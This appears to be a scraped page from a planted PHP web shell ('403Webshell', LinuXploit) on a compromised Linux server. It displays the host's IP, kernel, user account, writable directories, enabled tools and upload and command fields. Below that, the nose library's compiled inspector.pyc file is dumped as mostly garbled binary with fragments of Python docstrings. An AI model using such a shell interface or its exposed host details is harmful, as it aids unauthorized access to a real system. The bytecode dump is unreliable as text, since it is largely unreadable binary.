403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.84.11
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/nose/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/nose/__pycache__/inspector.cpython-37.pyc
B

/�Se?�@s�dZddlZddlZddlZddlZddlZddlZyddlmZWn e	k
rdddlmZYnXe�
e�Zdd�Z
d
dd�Zd	d
�ZGdd�d�ZdS)z�Simple traceback introspection. Used to add additional information to
AssertionErrors in tests, so that failure messages may be more informative.
�N)�StringIOc
Cs\t�d|�x|jr|j}qW|j}t|�\}}t||�\}}tt�d�	|���}t
|j|j�}x�|r�y"xt
�|j�D]}||�qvWWnft
jk
r�}	zFt�d|	�|�d�|d8}tt�d�	|���}t
|j|j�}wbWdd}	~	XYnXPqbWg}
|j�rR|j�d�}d}x>|D]6}
||k�r6|
�d|
�n|
�d	|
�|d7}�qWd�	|
�S)
z�Inspect a traceback and its frame, returning source for the expression
    where the exception was raised, with simple variable replacement performed
    and the line on which the exception was raised marked with '>>'
    zinspect traceback %s�zTokenizer error: %sr�N�
z>>  z    )�log�debug�tb_next�tb_frame�tbsource�find_inspectable_linesr�textwrap�dedent�join�Expander�f_locals�	f_globals�tokenize�generate_tokens�readline�
TokenError�pop�expanded_source�split�append)�tb�frame�linesZexc_lineZ
inspect_linesZ	mark_line�src�exp�tok�eZpaddedZ	exp_lines�ep�line�r#�?/opt/alt/python37/lib/python3.7/site-packages/nose/inspector.py�inspect_tracebacks<



r%�c	Cs|j}|j}|dkr�|d|d}t�d||�yt�|�\}}Wn tk
rddgd}}Yn�X|}t|d�}tdt|t	|�|��}||||�}|d|}t
jdkr�|dkr�x@||d���
d�r�|d8}||||�}q�Wndgd}}t�d||�||fS)	aGet source from  a traceback object.

    A tuple of two things is returned: a list of lines of context from
    the source code, and the index of the current line within that list.
    The optional second argument specifies the number of lines of context
    to return, which are centered around the current line.

    .. Note ::
       This is adapted from inspect.py in the python 2.4 standard library, 
       since a bug in the 2.3 version of inspect prevents it from correctly
       locating source lines in a traceback frame.
    rr�zlineno: %s start: %sr)r'��\z'tbsource lines '''%s''' around index %s)�	tb_linenor	rr�inspect�
findsource�IOError�max�min�len�sys�version_info�strip�endswith)	r�context�linenor�startr�dummy�indexZ	all_linesr#r#r$r
As*
r
c
Cs6t�d�}t�d�}t�d�}g}||}|�|���d}|t|dd�|�}|��||dt|dt|���}	x0|D](}
|�|
���d|kr�|�|
�q~Pq~W|��|�|�t|�d}|�	|�}xL|	D]D}
|s�|�|
���d|k�r|�	|
��s|�|
�|�	|
�}q�Pq�Wt
�d||�||fS)	a'Find lines in home that are inspectable.
    
    Walk back from the err line up to 3 lines, but don't walk back over
    changes in indent level.

    Walk forward up to 3 lines, counting \ separated lines as 1. Don't walk
    over changes in indent level (unless part of an extended line)
    z
\\[\s\n]*$z	:[\s\n]*$z^(\s*)r�r�z#Inspecting lines '''%s''' around %s)�re�compile�match�groupsr.�reverser/r0r�searchrr)
r�posZcnt�df�indZ	toinspect�homeZhome_indent�before�afterr"Zhome_pos�	continuedr#r#r$rms2	







rc@s eZdZdZdd�Zdd�ZdS)rzxSimple expression expander. Uses tokenize to find the names and
    expands any that can be looked up in the frame.
    cCs||_||_d|_d|_dS)Nr)�locals�globals�lposr)�selfrIrJr#r#r$�__init__�szExpander.__init__cCs>|jdk	rZ|d|jkr6|jd|d|j7_n$|d|jkrZ|jd|d7_|d|_|tjkrpn�|tjk�ry$|j|}t|�r�|}nt|�}WnRtk
r�y$|j	|}t|�r�|}nt|�}Wntk
r�|}YnXYnX|j|7_n|j|7_t
�d||dd���r:|jd7_dS)Nr� z\s+\\\nz \
)rKrr�INDENT�NAMErI�callable�repr�KeyErrorrJr<r>)rLZttyperr7�endr"�valr#r#r$�__call__�s4




zExpander.__call__N)�__name__�
__module__�__qualname__�__doc__rMrVr#r#r#r$r�sr)r&)rZr+�loggingr<r1rr�ior�ImportError�	getLoggerrWrr%r
rrr#r#r#r$�<module>s
/
,(

Youez - 2016 - github.com/yon3zu
LinuXploit